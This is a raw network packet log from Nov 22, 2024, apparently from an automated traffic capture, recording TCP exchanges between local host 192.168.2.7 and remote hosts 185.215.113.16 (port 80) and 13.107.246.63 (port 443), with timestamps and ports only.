Nov 22, 2024 01:02:49.613626957 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.613666058 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.613717079 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.614506006 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.614618063 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.615371943 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.615425110 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.615482092 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.615530014 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.616224051 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.616345882 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.617116928 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.617181063 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.617212057 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.617261887 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.617990017 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.618102074 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.618175983 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.618866920 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.618983984 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.619760990 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.619853020 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.619879961 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.619927883 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.620665073 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.620801926 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.620856047 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.621566057 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.621670008 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.621737957 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.622430086 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.622556925 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.622834921 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.623296976 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.623370886 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.623440981 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.624187946 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.624377966 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.624433041 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.625061989 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.625216007 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.625372887 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.625940084 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.626015902 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.626069069 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.626895905 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.627029896 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.627722979 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.627796888 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.627834082 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.627880096 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.628570080 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.628700972 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.629482031 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.629549980 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.629575968 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.630003929 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.630367994 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.630430937 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.630503893 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.631288052 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.631376028 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.631434917 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.632139921 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.632252932 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.632452965 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.633071899 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.633115053 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.633313894 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.633903027 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.633965015 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.634206057 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.634824038 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.634991884 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.635050058 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.635664940 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.635771990 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.636586905 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.636667013 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.636692047 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.636735916 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.637451887 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.637583971 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.637686014 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.638314009 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.638427973 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.638782978 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.639202118 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.639311075 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.639414072 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.640084028 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.640204906 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.640255928 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.640974045 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.641094923 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.641149998 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.641849041 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.641978979 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.642026901 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.642735958 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.642852068 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.642976046 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.643624067 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.643697023 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.644512892 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.644560099 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.644608021 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.644653082 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.645390987 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.645499945 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.645658970 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.646281004 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.646409035 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.647161007 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.647217035 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.647234917 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.647278070 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.648044109 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.648164034 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.648237944 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.648912907 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.691114902 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.795046091 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.795110941 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.795305014 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.795388937 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.795578957 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.795630932 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.795732021 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.796542883 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.796555996 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.796622038 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.797348022 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.797408104 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.797468901 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.798264980 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.798345089 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.798412085 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.799145937 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.799204111 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.799212933 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.800026894 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.800163984 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.800232887 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.800934076 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.800981998 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.801063061 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.801831961 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.802522898 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.802592993 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.802716970 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.802732944 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.802771091 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.803570032 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.803636074 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.803703070 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.804454088 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.804512978 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.804546118 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.805349112 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.805427074 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.805532932 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.806210041 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.806267023 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.806287050 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.807122946 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.807337999 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.807399988 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.807986975 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.808043957 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.808054924 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.808916092 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.809019089 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.809073925 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.809802055 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.809892893 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.809948921 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.810621023 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.810674906 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.810678959 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.811608076 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.811667919 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.811733961 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.812463999 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.812511921 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.812542915 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.813385010 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.813405991 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.813476086 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.814161062 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.814291954 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.814352036 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.815047026 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.815114975 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.815227985 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.815927982 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.815989017 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.816051960 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.816812992 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.816903114 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.816972017 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.817720890 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.817805052 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.817861080 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.818582058 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.818638086 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.818658113 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.819504023 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.819518089 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.819574118 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.820359945 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.820413113 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.820483923 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.821240902 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.821338892 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.821394920 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.822103024 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.822211027 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.822267056 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.822998047 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.823056936 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.823251963 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.823893070 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.824011087 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.824071884 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.824752092 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.824803114 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.824883938 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.825642109 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.825737000 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.825788021 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.826558113 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.826632023 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.826663017 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.827416897 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.827620983 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.827718019 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.828310013 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.828368902 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.828443050 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.829180002 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.829277992 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.829335928 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.830069065 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.830174923 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.830234051 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.830955029 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.831000090 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.831082106 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.831842899 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.831957102 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.832027912 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.832726955 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.832833052 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.832889080 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.833611965 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.833688021 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.833720922 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.834485054 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.834551096 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.834594011 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.835378885 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.835481882 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.835556984 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.836256981 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.836317062 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.836324930 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.837147951 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.837218046 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.837304115 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.838044882 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.838146925 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.838210106 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.838932037 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.838992119 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.839019060 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.839787960 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.839903116 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.839962006 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.840672016 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.840759039 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.840889931 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.877098083 CET	443	49781	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.877978086 CET	49781	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.878007889 CET	443	49781	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.878540993 CET	49781	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.878546953 CET	443	49781	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.894257069 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.970566988 CET	443	49780	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.970637083 CET	443	49780	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.970808983 CET	49780	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.971162081 CET	49780	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.971182108 CET	443	49780	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.971195936 CET	49780	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.971201897 CET	443	49780	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.972883940 CET	443	49779	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.972950935 CET	443	49779	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.973017931 CET	49779	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.973174095 CET	49779	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.973200083 CET	443	49779	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.973216057 CET	49779	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.973222971 CET	443	49779	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.975173950 CET	49784	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.975220919 CET	443	49784	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.975339890 CET	49784	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.975491047 CET	49784	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.975505114 CET	443	49784	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.975506067 CET	49785	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.975545883 CET	443	49785	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.975606918 CET	49785	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.975790977 CET	49785	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:49.975799084 CET	443	49785	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:49.987359047 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.987449884 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.987548113 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.987725973 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.987798929 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.987854958 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.988418102 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.988564014 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.989345074 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.989415884 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.989455938 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.989517927 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.990190983 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.990546942 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.990607023 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.991066933 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.991177082 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.991961956 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.992027998 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.992098093 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.992151976 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.992862940 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.992995024 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.993727922 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.993805885 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:49.993901014 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.994640112 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:49.994697094 CET	49773	80	192.168.2.7	185.215.113.16
